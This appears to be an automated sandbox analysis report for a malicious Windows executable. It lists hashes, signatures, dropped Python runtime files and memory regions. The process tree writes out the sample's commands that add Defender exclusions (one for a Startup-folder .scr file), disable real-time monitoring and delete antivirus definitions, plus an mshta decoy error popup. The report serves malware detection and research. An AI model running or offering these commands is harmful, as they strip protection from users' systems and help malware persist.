Resubmissions

27-10-2024 21:30

241027-1cw5yashka 10

27-10-2024 20:59

241027-zssl1szmdp 10

Analysis

  • max time kernel
    14s
  • max time network
    15s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-10-2024 20:59

General

  • Target

    falcontemp.exe

  • Size

    5.9MB

  • MD5

    b9410fa310e4031d27fba74278b8bfa8

  • SHA1

    cdce35a0cc9ee3c4dad5d9bcfe06714f2aa8f97d

  • SHA256

    5aed83acf628eed3ff847989ef9cf1b76cccd5a844d3224661b90db7278ec62a

  • SHA512

    5b4d4487f03c9432b5a0fdf6a83c80a7f4696b73fe8c37d673d3db5d695a73897391c5f8fd43703b33fccb143d63fb629b85fdc58fa0f9b5b76c2f5c90f2107c

  • SSDEEP

    98304:Pg+WCSti65sn6Wfz7pnxCjJaWlpx1dstaNoSwKHf1c3z5MOueAeFx9hEkrPF/iv3:Pzm/DOYjJlpZstQoS9Hf12VKXmbEC4V9

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Loads dropped DLL 17 IoCs
  • UPX packed file 45 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\falcontemp.exe
    "C:\Users\Admin\AppData\Local\Temp\falcontemp.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:888
    • C:\Users\Admin\AppData\Local\Temp\falcontemp.exe
      "C:\Users\Admin\AppData\Local\Temp\falcontemp.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:980
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\falcontemp.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4520
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\falcontemp.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:640
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4648
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2300
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Try again', 0, 'Try again', 32+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3832
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Try again', 0, 'Try again', 32+16);close()"
          4⤵
            PID:636
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‍ .scr'"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4024
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‍ .scr'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2256

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    • C:\Users\Admin\AppData\Local\Temp\_MEI8882\VCRUNTIME140.dll

      Filesize

      95KB

      MD5

      f34eb034aa4a9735218686590cba2e8b

      SHA1

      2bc20acdcb201676b77a66fa7ec6b53fa2644713

      SHA256

      9d2b40f0395cc5d1b4d5ea17b84970c29971d448c37104676db577586d4ad1b1

      SHA512

      d27d5e65e8206bd7923cf2a3c4384fec0fc59e8bc29e25f8c03d039f3741c01d1a8c82979d7b88c10b209db31fbbec23909e976b3ee593dc33481f0050a445af

    • C:\Users\Admin\AppData\Local\Temp\_MEI8882\_bz2.pyd

      Filesize

      44KB

      MD5

      c24b301f99a05305ac06c35f7f50307f

      SHA1

      0cee6de0ea38a4c8c02bf92644db17e8faa7093b

      SHA256

      c665f60b1663544facf9a026f5a87c8445558d7794baff56e42e65671d5adc24

      SHA512

      936d16fea3569a32a9941d58263e951623f4927a853c01ee187364df95cd246b3826e7b8423ac3c265965ee8e491275e908ac9e2d63f3abc5f721add8e20f699

    • C:\Users\Admin\AppData\Local\Temp\_MEI8882\_ctypes.pyd

      Filesize

      55KB

      MD5

      5c0bda19c6bc2d6d8081b16b2834134e

      SHA1

      41370acd9cc21165dd1d4aa064588d597a84ebbe

      SHA256

      5e7192c18ad73daa71efade0149fbcaf734c280a6ee346525ea5d9729036194e

      SHA512

      b1b45fcbb1e39cb6ba7ac5f6828ee9c54767eabeedca35a79e7ba49fd17ad20588964f28d06a2dcf8b0446e90f1db41d3fca97d1a9612f6cc5eb816bd9dcdf8a

    • C:\Users\Admin\AppData\Local\Temp\_MEI8882\_decimal.pyd

      Filesize

      102KB

      MD5

      604154d16e9a3020b9ad3b6312f5479c

      SHA1

      27c874b052d5e7f4182a4ead6b0486e3d0faf4da

      SHA256

      3c7585e75fa1e8604d8c408f77995b30f90c54a0f2ff5021e14fa7f84e093fb6

      SHA512

      37ce86fd8165fc51ebe568d7ce4b5ea8c1598114558d9f74a748a07dc62a1cc5d50fe1448dde6496ea13e45631e231221c15a64cebbb18fa96e2f71c61be0db4

    • C:\Users\Admin\AppData\Local\Temp\_MEI8882\_hashlib.pyd

      Filesize

      32KB

      MD5

      8ba5202e2f3fb1274747aa2ae7c3f7bf

      SHA1

      8d7dba77a6413338ef84f0c4ddf929b727342c16

      SHA256

      0541a0028619ab827f961a994667f9a8f1a48c8b315f071242a69d1bd6aeab8b

      SHA512

      d19322a1aba0da1aa68e24315cdbb10d63a5e3021b364b14974407dc3d25cd23df4ff1875b12339fd4613e0f3da9e5a78f1a0e54ffd8360ed764af20c3ecbb49

    • C:\Users\Admin\AppData\Local\Temp\_MEI8882\_lzma.pyd

      Filesize

      82KB

      MD5

      215acc93e63fb03742911f785f8de71a

      SHA1

      d4e3b46db5d4fcdd4f6b6874b060b32a4b676bf9

      SHA256

      ffdbe11c55010d33867317c0dc2d1bd69f8c07bda0ea0d3841b54d4a04328f63

      SHA512

      9223a33e8235c566d280a169f52c819a83c3e6fa1f4b8127dde6d4a1b7e940df824ccaf8c0000eac089091fde6ae89f0322fe62e47328f07ea92c7705ace4a72

    • C:\Users\Admin\AppData\Local\Temp\_MEI8882\_queue.pyd

      Filesize

      22KB

      MD5

      7b9f914d6c0b80c891ff7d5c031598d9

      SHA1

      ef9015302a668d59ca9eb6ebc106d82f65d6775c

      SHA256

      7f80508edff0896596993bf38589da38d95bc35fb286f81df361b5bf8c682cae

      SHA512

      d24c2ff50649fe604b09830fd079a6ad488699bb3c44ea7acb6da3f441172793e6a38a1953524f5570572bd2cf050f5fee71362a82c33f9bb9381ac4bb412d68

    • C:\Users\Admin\AppData\Local\Temp\_MEI8882\_socket.pyd

      Filesize

      39KB

      MD5

      1f7e5e111207bc4439799ebf115e09ed

      SHA1

      e8b643f19135c121e77774ef064c14a3a529dca3

      SHA256

      179ebbe9fd241f89df31d881d9f76358d82cedee1a8fb40215c630f94eb37c04

      SHA512

      7f8a767b3e17920acfaafd4a7ed19b22862d8df5bdf4b50e0d53dfbf32e9f2a08f5cde97acecb8abf8f10fbbedb46c1d3a0b9eb168d11766246afe9e23ada6fd

    • C:\Users\Admin\AppData\Local\Temp\_MEI8882\_sqlite3.pyd

      Filesize

      47KB

      MD5

      e5111e0cb03c73c0252718a48c7c68e4

      SHA1

      39a494eefecb00793b13f269615a2afd2cdfb648

      SHA256

      c9d4f10e47e45a23df9eb4ebb4c4f3c5153e7977dc2b92a1f142b8ccdb0bb26b

      SHA512

      cc0a00c552b98b6b80ffa4cd7cd20600e0e368fb71e816f3665e19c28ba9239fb9107f7303289c8db7de5208aaef8cd2159890996c69925176e6a04b6becc9b1

    • C:\Users\Admin\AppData\Local\Temp\_MEI8882\_ssl.pyd

      Filesize

      59KB

      MD5

      a65b98bf0f0a1b3ffd65e30a83e40da0

      SHA1

      9545240266d5ce21c7ed7b632960008b3828f758

      SHA256

      44214a85d06628eb3209980c0f2b31740ab8c6eb402f804816d0dae1ec379949

      SHA512

      0f70c2722722eb04b0b996bbaf7129955e38425794551c4832baec8844cde9177695d4045c0872a8fb472648c62c9bd502c9240facca9fb469f5cbacbe3ca505

    • C:\Users\Admin\AppData\Local\Temp\_MEI8882\base_library.zip

      Filesize

      859KB

      MD5

      e9addf5576e6ddeb6b1755c02854eb14

      SHA1

      3384f1bd2df8e209ae627ee3588cd5d1d5f33e33

      SHA256

      ab94e5a1d8993cef46b88b370db53dc128dc4b3bba742215960347bfcb3cad69

      SHA512

      47f9b857eb63c2ec8eeff6438f0308b8904cf40629a561e596376d48da8d3a7b07917897617ef64f1624330d795dabf4d743a570c3e3d22144675c75c6e6cc97

    • C:\Users\Admin\AppData\Local\Temp\_MEI8882\blank.aes

      Filesize

      79KB

      MD5

      a9b4d60d294188060c2d5332ca43bbb3

      SHA1

      0bbe4fa7579be188728975a743f226b8f6841b67

      SHA256

      fbf90f4ff138a5eaf09f6d7b47dc0cf8842772cf4185cdf960d4b027c86c78fd

      SHA512

      977cab8a8b57c87f738ff68bfb56c7b9a71615cd527d54a8ffc2f55bf9ff88d1add2893f0116c67a3a93dbf2b7c53a7d08384b14e73c31b157f7cabab017f953

    • C:\Users\Admin\AppData\Local\Temp\_MEI8882\libcrypto-1_1.dll

      Filesize

      1.1MB

      MD5

      3cc020baceac3b73366002445731705a

      SHA1

      6d332ab68dca5c4094ed2ee3c91f8503d9522ac1

      SHA256

      d1aa265861d23a9b76f16906940d30f3a65c5d0597107ecb3d2e6d470b401bb8

      SHA512

      1d9b46d0331ed5b95dda8734abe3c0bd6f7fb1ec9a3269feab618d661a1644a0dc3bf8ac91778d5e45406d185965898fe87abd3261a6f7f2968c43515a48562c

    • C:\Users\Admin\AppData\Local\Temp\_MEI8882\libffi-7.dll

      Filesize

      23KB

      MD5

      6f818913fafe8e4df7fedc46131f201f

      SHA1

      bbb7ba3edbd4783f7f973d97b0b568cc69cadac5

      SHA256

      3f94ee4f23f6c7702ab0cc12995a6457bf22183fa828c30cc12288adf153ae56

      SHA512

      5473fe57dc40af44edb4f8a7efd68c512784649d51b2045d570c7e49399990285b59cfa6bcd25ef1316e0a073ea2a89fe46be3bfc33f05e3333037a1fd3a6639

    • C:\Users\Admin\AppData\Local\Temp\_MEI8882\libssl-1_1.dll

      Filesize

      200KB

      MD5

      7f77a090cb42609f2efc55ddc1ee8fd5

      SHA1

      ef5a128605654350a5bd17232120253194ad4c71

      SHA256

      47b63a9370289d2544abc5a479bfb27d707ae7db4f3f7b6cc1a8c8f57fd0cf1f

      SHA512

      a8a06a1303e76c76d1f06b689e163ba80c1a8137adac80fab0d5c1c6072a69d506e0360d8b44315ef1d88cbd0c9ac95c94d001fad5bc40727f1070734bbbbe63

    • C:\Users\Admin\AppData\Local\Temp\_MEI8882\python310.dll

      Filesize

      1.4MB

      MD5

      b93eda8cc111a5bde906505224b717c3

      SHA1

      5f1ae1ab1a3c4c023ea8138d4b09cbc1cd8e8f9e

      SHA256

      efa27cd726dbf3bf2448476a993dc0d5ffb0264032bf83a72295ab3fc5bcd983

      SHA512

      b20195930967b4dc9f60c15d9ceae4d577b00095f07bd93aa4f292b94a2e5601d605659e95d5168c1c2d85dc87a54d27775f8f20ebcacf56904e4aa30f1affba

    • C:\Users\Admin\AppData\Local\Temp\_MEI8882\rar.exe

      Filesize

      615KB

      MD5

      9c223575ae5b9544bc3d69ac6364f75e

      SHA1

      8a1cb5ee02c742e937febc57609ac312247ba386

      SHA256

      90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

      SHA512

      57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

    • C:\Users\Admin\AppData\Local\Temp\_MEI8882\rarreg.key

      Filesize

      456B

      MD5

      4531984cad7dacf24c086830068c4abe

      SHA1

      fa7c8c46677af01a83cf652ef30ba39b2aae14c3

      SHA256

      58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

      SHA512

      00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

    • C:\Users\Admin\AppData\Local\Temp\_MEI8882\select.pyd

      Filesize

      22KB

      MD5

      3cdfdb7d3adf9589910c3dfbe55065c9

      SHA1

      860ef30a8bc5f28ae9c81706a667f542d527d822

      SHA256

      92906737eff7ff33b9e2a72d2a86e4bd80a35018c8e40bb79433a8ea8ece3932

      SHA512

      1fe2c918e9ce524b855d7f38d4c69563f8b8c44291eea1dc98f04e5ebdc39c8f2d658a716429051fb91fed0b912520929a0b980c4f5b4ecb3de1c4eb83749a45

    • C:\Users\Admin\AppData\Local\Temp\_MEI8882\sqlite3.dll

      Filesize

      612KB

      MD5

      59ed17799f42cc17d63a20341b93b6f6

      SHA1

      5f8b7d6202b597e72f8b49f4c33135e35ac76cd1

      SHA256

      852b38bd2d05dd9f000e540d3f5e4962e64597eb864a68aa8bb28ce7008e91f1

      SHA512

      3424ad59fd71c68e0af716b7b94c4224b2abfb11b7613f2e565f5d82f630e89c2798e732376a3a0e1266d8d58730b2f76c4e23efe03c47a48cbf5f0fc165d333

    • C:\Users\Admin\AppData\Local\Temp\_MEI8882\unicodedata.pyd

      Filesize

      286KB

      MD5

      2218b2730b625b1aeee6a67095c101a4

      SHA1

      aa7f032b9c8b40e5ecf2a0f59fa5ae3f48eff90a

      SHA256

      5e9add4dd806c2de4d694b9bb038a6716badb7d5f912884d80d593592bcdb8ca

      SHA512

      77aa10ae645c0ba24e31dcab4726d8fb7aa3cb9708c7c85499e7d82ce46609d43e5dc74da7cd32c170c7ddf50c8db8945baf3452421316c4a46888d745de8da0

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tvaf31js.2up.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/640-84-0x000001B52C7A0000-0x000001B52C7C2000-memory.dmp

      Filesize

      136KB

    • memory/980-58-0x00007FFBB91A0000-0x00007FFBB91BE000-memory.dmp

      Filesize

      120KB

    • memory/980-83-0x00007FFBB8360000-0x00007FFBB8478000-memory.dmp

      Filesize

      1.1MB

    • memory/980-54-0x00007FFBBC650000-0x00007FFBBC67C000-memory.dmp

      Filesize

      176KB

    • memory/980-60-0x00007FFBB8600000-0x00007FFBB8771000-memory.dmp

      Filesize

      1.4MB

    • memory/980-64-0x00007FFBBDBD0000-0x00007FFBBDBDD000-memory.dmp

      Filesize

      52KB

    • memory/980-62-0x00007FFBB9180000-0x00007FFBB9199000-memory.dmp

      Filesize

      100KB

    • memory/980-66-0x00007FFBB9150000-0x00007FFBB917E000-memory.dmp

      Filesize

      184KB

    • memory/980-71-0x00007FFBB8B40000-0x00007FFBB8BF7000-memory.dmp

      Filesize

      732KB

    • memory/980-70-0x00007FFBA90E0000-0x00007FFBA9545000-memory.dmp

      Filesize

      4.4MB

    • memory/980-72-0x0000029D79240000-0x0000029D795B7000-memory.dmp

      Filesize

      3.5MB

    • memory/980-74-0x00007FFBBC6C0000-0x00007FFBBC6E4000-memory.dmp

      Filesize

      144KB

    • memory/980-73-0x00007FFBA8B10000-0x00007FFBA8E87000-memory.dmp

      Filesize

      3.5MB

    • memory/980-76-0x00007FFBB9130000-0x00007FFBB9145000-memory.dmp

      Filesize

      84KB

    • memory/980-79-0x00007FFBBC7C0000-0x00007FFBBC7CD000-memory.dmp

      Filesize

      52KB

    • memory/980-78-0x00007FFBBC650000-0x00007FFBBC67C000-memory.dmp

      Filesize

      176KB

    • memory/980-56-0x00007FFBB98B0000-0x00007FFBB98C8000-memory.dmp

      Filesize

      96KB

    • memory/980-48-0x00007FFBBDBE0000-0x00007FFBBDBEF000-memory.dmp

      Filesize

      60KB

    • memory/980-30-0x00007FFBBC6C0000-0x00007FFBBC6E4000-memory.dmp

      Filesize

      144KB

    • memory/980-25-0x00007FFBA90E0000-0x00007FFBA9545000-memory.dmp

      Filesize

      4.4MB

    • memory/980-119-0x00007FFBB91A0000-0x00007FFBB91BE000-memory.dmp

      Filesize

      120KB

    • memory/980-120-0x00007FFBB8600000-0x00007FFBB8771000-memory.dmp

      Filesize

      1.4MB

    • memory/980-121-0x00007FFBB9180000-0x00007FFBB9199000-memory.dmp

      Filesize

      100KB

    • memory/980-122-0x00007FFBB9150000-0x00007FFBB917E000-memory.dmp

      Filesize

      184KB

    • memory/980-123-0x00007FFBB8B40000-0x00007FFBB8BF7000-memory.dmp

      Filesize

      732KB

    • memory/980-124-0x0000029D79240000-0x0000029D795B7000-memory.dmp

      Filesize

      3.5MB

    • memory/980-125-0x00007FFBA8B10000-0x00007FFBA8E87000-memory.dmp

      Filesize

      3.5MB

    • memory/980-126-0x00007FFBA90E0000-0x00007FFBA9545000-memory.dmp

      Filesize

      4.4MB

    • memory/980-141-0x00007FFBBC7C0000-0x00007FFBBC7CD000-memory.dmp

      Filesize

      52KB

    • memory/980-136-0x00007FFBB8B40000-0x00007FFBB8BF7000-memory.dmp

      Filesize

      732KB

    • memory/980-135-0x00007FFBB9150000-0x00007FFBB917E000-memory.dmp

      Filesize

      184KB

    • memory/980-127-0x00007FFBBC6C0000-0x00007FFBBC6E4000-memory.dmp

      Filesize

      144KB